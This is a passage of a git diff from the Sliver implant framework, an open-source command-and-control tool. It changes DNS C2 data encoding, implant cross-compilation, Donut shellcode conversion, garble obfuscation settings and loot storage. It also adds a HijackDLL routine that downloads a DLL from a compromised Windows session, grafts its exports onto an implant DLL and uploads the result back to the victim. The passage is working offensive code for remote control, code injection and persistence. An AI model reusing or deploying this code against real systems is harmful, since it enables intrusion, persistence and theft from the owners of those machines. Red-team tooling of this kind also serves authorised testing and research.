dnsLog.Infof("No new message for session id %#v", sessionID)
|
||||
return []string{"0"}, nil
|
||||
}
|
||||
|
||||
// Send blocks of data via multiple DNS TXT responses
|
||||
func dnsSendBlocks(blockID string, startIndex string, stopIndex string) []string {
|
||||
start, err := strconv.Atoi(startIndex)
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
stop, err := strconv.Atoi(stopIndex)
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
|
||||
if stop < start {
|
||||
return []string{}
|
||||
}
|
||||
|
||||
dnsLog.Infof("Send blocks %d to %d for ID %s", start, stop, blockID)
|
||||
|
||||
sendBlocksMutex.Lock()
|
||||
defer sendBlocksMutex.Unlock()
|
||||
respBlocks := []string{}
|
||||
if block, ok := (*sendBlocks)[blockID]; ok {
|
||||
for index := start; index < stop; index++ {
|
||||
if index < len(block.Data) {
|
||||
respBlocks = append(respBlocks, block.Data[index])
|
||||
}
|
||||
}
|
||||
dnsLog.Infof("Sending %d response block(s)", len(respBlocks))
|
||||
return respBlocks
|
||||
}
|
||||
dnsLog.Infof("Invalid block ID: %#v", blockID)
|
||||
return []string{}
|
||||
}
|
||||
|
||||
// Clear send blocks of data from memory
|
||||
func clearSendBlock(blockID string) bool {
|
||||
sendBlocksMutex.Lock()
|
||||
defer sendBlocksMutex.Unlock()
|
||||
if _, ok := (*sendBlocks)[blockID]; ok {
|
||||
delete(*sendBlocks, blockID)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Stores encoded blocks fo data into "sendBlocks"
|
||||
func storeSendBlocks(data []byte) (string, int) {
|
||||
blockID := generateBlockID()
|
||||
|
||||
sendBlock := &SendBlock{
|
||||
ID: blockID,
|
||||
Data: []string{},
|
||||
}
|
||||
for index := 0; index < len(data); index += byteBlockSize {
|
||||
start := index
|
||||
stop := index + byteBlockSize
|
||||
if len(data) < stop {
|
||||
stop = len(data)
|
||||
}
|
||||
encoded := base64.RawStdEncoding.EncodeToString(data[start:stop])
|
||||
dnsLog.Infof("Encoded block is %d bytes", len(encoded))
|
||||
sendBlock.Data = append(sendBlock.Data, encoded)
|
||||
}
|
||||
sendBlocksMutex.Lock()
|
||||
(*sendBlocks)[sendBlock.ID] = sendBlock
|
||||
sendBlocksMutex.Unlock()
|
||||
return sendBlock.ID, len(sendBlock.Data)
|
||||
}
|
||||
|
||||
// --------------------------- HELPERS ---------------------------
|
||||
|
||||
// Unique IDs, no need for secure random
|
||||
func generateBlockID() string {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
blockID := []rune{}
|
||||
for i := 0; i < blockIDSize; i++ {
|
||||
index := insecureRand.Intn(len(dnsCharSet))
|
||||
blockID = append(blockID, dnsCharSet[index])
|
||||
}
|
||||
return string(blockID)
|
||||
}
|
||||
|
||||
func fingerprintSHA256(block *pem.Block) string {
|
||||
hash := sha256.Sum256(block.Bytes)
|
||||
b64hash := base64.RawStdEncoding.EncodeToString(hash[:])
|
||||
return strings.TrimRight(b64hash, "=")
|
||||
}
|
||||
|
||||
// TODO: Add a geofilter to make it look like we're in various regions of the world.
|
||||
// We don't really need to use srand but it's just easier to operate on bytes here.
|
||||
func randomIP() net.IP {
|
||||
randBuf := make([]byte, 4)
|
||||
secureRand.Read(randBuf)
|
||||
|
||||
// Ensure non-zeros with various bitmasks
|
||||
return net.IPv4(randBuf[0]|0x10, randBuf[1]|0x10, randBuf[2]|0x1, randBuf[3]|0x10)
|
||||
}
|
||||
|
||||
// --------------------------- ENCODER ---------------------------
|
||||
|
||||
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
|
||||
var sliverBase32 = base32.NewEncoding(base32Alphabet)
|
||||
|
||||
// EncodeToString encodes the given byte slice in base32
|
||||
func dnsEncodeToString(input []byte) string {
|
||||
return strings.TrimRight(sliverBase32.EncodeToString(input), "=")
|
||||
}
|
||||
|
||||
// DecodeString decodes the given base32 encoded bytes
|
||||
func dnsDecodeString(raw string) ([]byte, error) {
|
||||
pad := 8 - (len(raw) % 8)
|
||||
padded := []byte(raw)
|
||||
if pad != 8 {
|
||||
padded = make([]byte, len(raw)+pad)
|
||||
copy(padded, raw)
|
||||
for index := 0; index < pad; index++ {
|
||||
padded[len(raw)+index] = '='
|
||||
}
|
||||
}
|
||||
// dnsLog.Infof("[base32] %#v", string(padded))
|
||||
return sliverBase32.DecodeString(string(padded))
|
||||
}
|
||||
|
||||
// SessionIDs are public parameters in this use case
|
||||
// so it's only important that they're unique
|
||||
func dnsSessionID() string {
|
||||
@@ -823,5 +508,23 @@ func dnsSessionID() string {
|
||||
index := insecureRand.Intn(len(dnsCharSet))
|
||||
sessionID = append(sessionID, dnsCharSet[index])
|
||||
}
|
||||
return "_" + string(sessionID)
|
||||
return string(sessionID)
|
||||
}
|
||||
|
||||
func blockID() uint32 {
|
||||
randBuf := make([]byte, 4)
|
||||
secureRand.Read(randBuf)
|
||||
return binary.LittleEndian.Uint32(randBuf)
|
||||
}
|
||||
|
||||
func getDomainKeyFor(domain string) ([]byte, error) {
|
||||
_, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
certs.C2ServerGenerateRSACertificate(domain)
|
||||
}
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return certPEM, nil
|
||||
}
|
||||
@@ -26,7 +26,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
@@ -264,7 +264,7 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
// as the sliver-server.
|
||||
if runtime.GOOS != config.GOOS {
|
||||
buildLog.Infof("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = getCrossCompilers(config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
if cc == "" {
|
||||
return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
|
||||
}
|
||||
@@ -333,7 +333,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
// as the sliver-server.
|
||||
if runtime.GOOS != config.GOOS {
|
||||
buildLog.Infof("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = getCrossCompilers(config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
if cc == "" {
|
||||
return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
|
||||
}
|
||||
@@ -691,8 +691,8 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
func getCrossCompilers(targetGoos string, targetGoarch string) (string, string) {
|
||||
var found bool // meh, ugly
|
||||
func findCrossCompilers(targetGoos string, targetGoarch string) (string, string) {
|
||||
var found bool
|
||||
|
||||
// Get CC and CXX from ENV
|
||||
cc, cxx := getCrossCompilersFromEnv(targetGoos, targetGoarch)
|
||||
@@ -713,9 +713,11 @@ func getCrossCompilers(targetGoos string, targetGoarch string) (string, string)
|
||||
// Check to see if CC and CXX exist
|
||||
if _, err := os.Stat(cc); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CC path '%s' does not exist", cc)
|
||||
cc = "" // Path does not exist
|
||||
}
|
||||
if _, err := os.Stat(cxx); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CXX path '%s' does not exist", cxx)
|
||||
cxx = "" // Path does not exist
|
||||
}
|
||||
buildLog.Infof(" CC = '%s'", cc)
|
||||
buildLog.Infof("CXX = '%s'", cxx)
|
||||
@@ -752,7 +754,7 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
||||
|
||||
// Cross-compile with the right configuration
|
||||
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
|
||||
cc, _ := getCrossCompilers(platform[0], platform[1])
|
||||
cc, _ := findCrossCompilers(platform[0], platform[1])
|
||||
if cc != "" {
|
||||
if runtime.GOOS == DARWIN && platform[0] == LINUX && platform[1] == "386" {
|
||||
continue // Darwin can't target 32-bit Linux, even with a cc/cxx
|
||||
@@ -806,7 +808,7 @@ func GetCrossCompilers() []*clientpb.CrossCompiler {
|
||||
if runtime.GOOS == platform[0] {
|
||||
continue
|
||||
}
|
||||
cc, cxx := getCrossCompilers(platform[0], platform[1])
|
||||
cc, cxx := findCrossCompilers(platform[0], platform[1])
|
||||
if cc != "" {
|
||||
compilers = append(compilers, &clientpb.CrossCompiler{
|
||||
TargetGOOS: platform[0],
|
||||
|
||||
@@ -15,15 +15,25 @@ func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params st
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
donutType := getDonutType(filepath.Ext(filePath), dotnet)
|
||||
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, donutType)
|
||||
isDLL := (filepath.Ext(filePath) == ".dll")
|
||||
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL)
|
||||
}
|
||||
|
||||
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
|
||||
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, donutType donut.ModuleType) (data []byte, err error) {
|
||||
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool) (data []byte, err error) {
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
donutArch := getDonutArch(arch)
|
||||
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
|
||||
// in the task runner, and we're doing some housekeeping on it.
|
||||
// Having DonutConfig.Thread = 1 means another thread will be created
|
||||
// inside the one we created, and that will fuck up our monitoring
|
||||
// since we can't grab a handle to the thread created by the Donut loader,
|
||||
// and thus the waitForCompletion call will most of the time never complete.
|
||||
config := donut.DonutConfig{
|
||||
Type: donutType,
|
||||
Type: getDonutType(ext, false),
|
||||
InstType: donut.DONUT_INSTANCE_PIC,
|
||||
Parameters: params,
|
||||
Class: className,
|
||||
@@ -33,7 +43,6 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
|
||||
Arch: donutArch,
|
||||
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
|
||||
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
|
||||
Thread: 1, // start a new thread
|
||||
ExitOpt: 1, // exit thread
|
||||
Unicode: 0,
|
||||
}
|
||||
|
||||
@@ -27,6 +27,8 @@ var (
|
||||
srcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base32.go",
|
||||
"encoders/base62.go",
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
@@ -165,6 +167,8 @@ var (
|
||||
genericSrcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base32.go",
|
||||
"encoders/base62.go",
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
|
||||
+2
-1
@@ -137,7 +137,8 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
}
|
||||
garbleBinPath := path.Join(config.GOROOT, "bin", "garble")
|
||||
seed := fmt.Sprintf("-seed=%s", seed())
|
||||
command = append([]string{"-literals", "-tiny", seed}, command...)
|
||||
// command = append([]string{"-literals", "-tiny", seed}, command...)
|
||||
command = append([]string{"-literals", seed}, command...)
|
||||
cmd := exec.Command(garbleBinPath, command...)
|
||||
cmd.Dir = cwd
|
||||
cmd.Env = []string{
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
@@ -233,7 +233,7 @@ func (l *LocalBackend) All() *clientpb.AllLoot {
|
||||
func (l *LocalBackend) AllOf(lootType clientpb.LootType) *clientpb.AllLoot {
|
||||
dbSession := db.Session()
|
||||
allDBLoot := []*models.Loot{}
|
||||
result := dbSession.Where(&models.Loot{Type: int(lootType)}).Find(&allDBLoot)
|
||||
result := dbSession.Where("type == ?", int(lootType)).Find(&allDBLoot)
|
||||
if result.Error != nil {
|
||||
lootLog.Error(result.Error)
|
||||
return nil
|
||||
|
||||
@@ -176,6 +176,64 @@ func TestAllLoot(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllLootOf(t *testing.T) {
|
||||
lootStore := GetLootStore()
|
||||
_, err := lootStore.Add(&clientpb.Loot{
|
||||
Type: clientpb.LootType_LOOT_FILE,
|
||||
Name: name1,
|
||||
FileType: clientpb.FileType_BINARY,
|
||||
File: &commonpb.File{
|
||||
Name: name1,
|
||||
Data: data1,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err = lootStore.Add(&clientpb.Loot{
|
||||
Type: clientpb.LootType_LOOT_FILE,
|
||||
Name: name2,
|
||||
FileType: clientpb.FileType_TEXT,
|
||||
File: &commonpb.File{
|
||||
Name: name1,
|
||||
Data: []byte("hello world"),
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err = lootStore.Add(&clientpb.Loot{
|
||||
Type: clientpb.LootType_LOOT_CREDENTIAL,
|
||||
Name: name3,
|
||||
CredentialType: clientpb.CredentialType_USER_PASSWORD,
|
||||
Credential: &clientpb.Credential{
|
||||
User: "admin",
|
||||
Password: "admin",
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// AllOf
|
||||
fileLoot := lootStore.AllOf(clientpb.LootType_LOOT_FILE).Loot
|
||||
if len(fileLoot) != 2 {
|
||||
t.Fatalf("AllOf file returned %d expected 2", len(fileLoot))
|
||||
}
|
||||
credLoot := lootStore.AllOf(clientpb.LootType_LOOT_CREDENTIAL).Loot
|
||||
if len(credLoot) != 1 {
|
||||
t.Fatalf("AllOf cred returned %d expected 2", len(credLoot))
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
for _, loot := range lootStore.All().Loot {
|
||||
err = lootStore.Rm(loot.LootID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLootErrors(t *testing.T) {
|
||||
lootStore := GetLootStore()
|
||||
loot, err := lootStore.Add(&clientpb.Loot{
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -0,0 +1,368 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
)
|
||||
|
||||
func (rpc *Server) HijackDLL(ctx context.Context, req *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
var (
|
||||
refDLL []byte
|
||||
targetDLLData []byte
|
||||
)
|
||||
resp := &sliverpb.DllHijack{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return resp, fmt.Errorf("could not find session %d", req.Request.SessionID)
|
||||
}
|
||||
if session.Os != "windows" {
|
||||
return nil, fmt.Errorf("this feature is not supported on the target operating system (%s)", session.Os)
|
||||
}
|
||||
|
||||
// download reference DLL if we don't have one in the request
|
||||
if len(req.ReferenceDLL) == 0 {
|
||||
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(30),
|
||||
},
|
||||
Path: req.ReferenceDLLPath,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not download the reference DLL: %s", err)
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
refDLL = download.Data
|
||||
} else {
|
||||
refDLL = req.ReferenceDLL
|
||||
}
|
||||
if req.ProfileName != "" {
|
||||
profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var p *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == req.ProfileName {
|
||||
p = prof
|
||||
}
|
||||
}
|
||||
if p.GetName() == "" {
|
||||
return nil, fmt.Errorf("no profile found for name %s", req.ProfileName)
|
||||
}
|
||||
|
||||
if p.Config.Format != clientpb.OutputFormat_SHARED_LIB {
|
||||
return nil, fmt.Errorf("please select a profile targeting a shared library format")
|
||||
}
|
||||
|
||||
name, config := generate.ImplantConfigFromProtobuf(p.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
fPath, err := generate.SliverSharedLibrary(name, config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
targetDLLData, err = ioutil.ReadFile(fPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
if len(req.TargetDLL) == 0 {
|
||||
return nil, errors.New("missing target DLL")
|
||||
}
|
||||
targetDLLData = req.TargetDLL
|
||||
}
|
||||
// call clone
|
||||
result, err := cloneExports(targetDLLData, refDLL, req.ReferenceDLLPath)
|
||||
if err != nil {
|
||||
return resp, fmt.Errorf("failed to clone exports: %s", err)
|
||||
}
|
||||
targetBytes, err := result.Bytes()
|
||||
if err != nil {
|
||||
return resp, fmt.Errorf("failed to convert PE to bytes: %s", err)
|
||||
}
|
||||
// upload new dll
|
||||
uploadGzip := new(encoders.Gzip).Encode(targetBytes)
|
||||
// upload to remote target
|
||||
upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Encoder: "gzip",
|
||||
Data: uploadGzip,
|
||||
Path: req.TargetLocation,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(defaultTimeout),
|
||||
},
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if upload.Response != nil && upload.Response.Err != "" {
|
||||
return nil, fmt.Errorf(upload.Response.Err)
|
||||
}
|
||||
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// -------- Utility functions
|
||||
|
||||
const (
|
||||
DEFAULT_CHARACTERISTICS = 0x40000040
|
||||
SECTION_NAME = 8
|
||||
)
|
||||
|
||||
// exportDirectory - data directory definition for exported functions
|
||||
// without DllName to make it easier to use with binary.Read / binary.Write
|
||||
type exportDirectory struct {
|
||||
ExportFlags uint32 // reserved, must be zero
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
NameRVA uint32 // pointer to the name of the DLL
|
||||
OrdinalBase uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32 // also Ordinal Table Len
|
||||
AddressTableAddr uint32 // RVA of EAT, relative to image base
|
||||
NameTableAddr uint32 // RVA of export name pointer table, relative to image base
|
||||
OrdinalTableAddr uint32 // address of the ordinal table, relative to iamge base
|
||||
}
|
||||
|
||||
func alignUp(value, align uint32) uint32 {
|
||||
if align == 0 {
|
||||
align = 0x1000
|
||||
}
|
||||
return (value + align - 1) & ^(align - 1)
|
||||
}
|
||||
|
||||
func addSection(peFile *pe.File, name string, size uint32) (*pe.Section, error) {
|
||||
|
||||
var (
|
||||
virtualSize uint32
|
||||
virtualAddr uint32
|
||||
rawSize uint32
|
||||
rawPtr uint32
|
||||
origName [8]byte
|
||||
sectionHeaderSize = int64(0x28)
|
||||
)
|
||||
|
||||
if len(name) > SECTION_NAME {
|
||||
return nil, errors.New("name too long")
|
||||
}
|
||||
|
||||
headerOffset := peFile.OptionalHeaderOffset + int64(peFile.SizeOfOptionalHeader) + (int64(peFile.NumberOfSections) * sectionHeaderSize)
|
||||
lastSection := peFile.Sections[peFile.NumberOfSections-1]
|
||||
switch hdr := (peFile.OptionalHeader).(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
if headerOffset+sectionHeaderSize > int64(hdr.SizeOfHeaders) {
|
||||
return nil, errors.New("not enough room for an additional section")
|
||||
}
|
||||
virtualSize = alignUp(size, hdr.SectionAlignment)
|
||||
virtualAddr = alignUp(lastSection.VirtualAddress+lastSection.VirtualSize, hdr.SectionAlignment)
|
||||
rawSize = alignUp(size, hdr.FileAlignment)
|
||||
rawPtr = alignUp(lastSection.Offset+lastSection.Size, hdr.FileAlignment)
|
||||
hdr.SizeOfImage = virtualAddr + virtualSize
|
||||
case *pe.OptionalHeader64:
|
||||
if headerOffset+sectionHeaderSize > int64(hdr.SizeOfHeaders) {
|
||||
return nil, errors.New("not enough room for an additional section")
|
||||
}
|
||||
virtualSize = alignUp(size, hdr.SectionAlignment)
|
||||
virtualAddr = alignUp(lastSection.VirtualAddress+lastSection.VirtualSize, hdr.SectionAlignment)
|
||||
rawSize = alignUp(size, hdr.FileAlignment)
|
||||
rawPtr = alignUp(lastSection.Offset+lastSection.Size, hdr.FileAlignment)
|
||||
hdr.SizeOfImage = virtualAddr + virtualSize
|
||||
}
|
||||
|
||||
newSection := new(pe.Section)
|
||||
newSection.Name = name
|
||||
copy(origName[:], []byte(name+"\x00"))
|
||||
newSection.OriginalName = origName
|
||||
newSection.Characteristics = DEFAULT_CHARACTERISTICS
|
||||
newSection.Size = rawSize
|
||||
newSection.VirtualSize = virtualSize
|
||||
newSection.VirtualAddress = virtualAddr
|
||||
newSection.Offset = rawPtr
|
||||
|
||||
newSection.PointerToRelocations = 0
|
||||
newSection.PointerToLineNumbers = 0
|
||||
newSection.NumberOfLineNumbers = 0
|
||||
newSection.NumberOfRelocations = 0
|
||||
|
||||
peFile.FileHeader.NumberOfSections += 1
|
||||
peFile.Sections = append(peFile.Sections, newSection)
|
||||
return newSection, nil
|
||||
}
|
||||
|
||||
// cloneExports clones the export from referencePE to targetPE
|
||||
func cloneExports(targetPE []byte, referencePE []byte, refPath string) (*pe.File, error) {
|
||||
var (
|
||||
tgt = bytes.NewReader(targetPE)
|
||||
ref = bytes.NewReader(referencePE)
|
||||
refExportDirectory pe.DataDirectory
|
||||
)
|
||||
refPath = strings.ReplaceAll(refPath, ".dll", "")
|
||||
tgtFile, err := pe.NewFile(tgt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
refFile, err := pe.NewFile(ref)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
switch hdr := (refFile.OptionalHeader).(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
refExportDirectory = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
case *pe.OptionalHeader64:
|
||||
refExportDirectory = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
}
|
||||
refExports, err := refFile.Exports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(refExports) == 0 {
|
||||
return nil, errors.New("reference binary has no exports")
|
||||
}
|
||||
var exportNames []string
|
||||
for _, exp := range refExports {
|
||||
var newName string
|
||||
if exp.Name != "" {
|
||||
newName = fmt.Sprintf("%s.%s", refPath, exp.Name)
|
||||
} else {
|
||||
newName = fmt.Sprintf("%s.#%d", refPath, exp.Ordinal)
|
||||
}
|
||||
exportNames = append(exportNames, newName)
|
||||
}
|
||||
|
||||
tgtFile.DosStub = refFile.DosStub
|
||||
|
||||
exportNamesBlob := strings.Join(exportNames, "\x00")
|
||||
exportNamesBlob += "\x00"
|
||||
forwardNameBlock := []byte(exportNamesBlob)
|
||||
newSectionSize := refExportDirectory.Size + uint32(len(exportNamesBlob))
|
||||
newSection, err := addSection(tgtFile, ".rdata2", uint32(newSectionSize))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Update the export directory size and virtual address
|
||||
switch hdr := (tgtFile.OptionalHeader).(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
hdr.DataDirectory[0].VirtualAddress = newSection.VirtualAddress
|
||||
hdr.DataDirectory[0].Size = newSectionSize
|
||||
case *pe.OptionalHeader64:
|
||||
hdr.DataDirectory[0].VirtualAddress = newSection.VirtualAddress
|
||||
hdr.DataDirectory[0].Size = newSectionSize
|
||||
}
|
||||
|
||||
delta := newSection.VirtualAddress - refExportDirectory.VirtualAddress
|
||||
exportDirOffset := refFile.RVAToFileOffset(refExportDirectory.VirtualAddress)
|
||||
sectionData := make([]byte, newSection.Size)
|
||||
// Write the new export table into the section
|
||||
n := copy(sectionData, referencePE[exportDirOffset:exportDirOffset+refExportDirectory.Size])
|
||||
if n < int(refExportDirectory.Size) {
|
||||
return nil, fmt.Errorf("only copied %d bytes", n)
|
||||
}
|
||||
// Write the forward name block
|
||||
n = copy(sectionData[refExportDirectory.Size:], forwardNameBlock)
|
||||
if n < int(refExportDirectory.Size) {
|
||||
return nil, fmt.Errorf("only copied %d bytes", n)
|
||||
}
|
||||
// Update the section data
|
||||
sectionDataReader := bytes.NewReader(sectionData)
|
||||
tgtFile.Section(newSection.Name).Replace(sectionDataReader, int64(len(sectionData)))
|
||||
|
||||
// Get the updated byte slice representation of the target file
|
||||
tgtBytes, err := tgtFile.Bytes()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// We're not using pe.ExportDirectory because it contains a string field (DllName)
|
||||
// which makes it unusable with binary.Read, and I did not want to manually parse
|
||||
// all the fields because I'm lazy.
|
||||
newExportDirectory := exportDirectory{}
|
||||
err = binary.Read(bytes.NewReader(tgtBytes[newSection.Offset:]), binary.LittleEndian, &newExportDirectory)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Update the export directory
|
||||
newExportDirectory.AddressTableAddr += delta
|
||||
newExportDirectory.NameTableAddr += delta
|
||||
newExportDirectory.OrdinalTableAddr += delta
|
||||
|
||||
// Write it back to the target file byte slice
|
||||
buf := new(bytes.Buffer)
|
||||
err = binary.Write(buf, binary.LittleEndian, &newExportDirectory)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
n = copy(tgtBytes[newSection.Offset:], buf.Bytes())
|
||||
if n < buf.Len() {
|
||||
return nil, fmt.Errorf("only read %d bytes, expected %d", n, buf.Len())
|
||||
}
|
||||
|
||||
// Link function addresses to forward names
|
||||
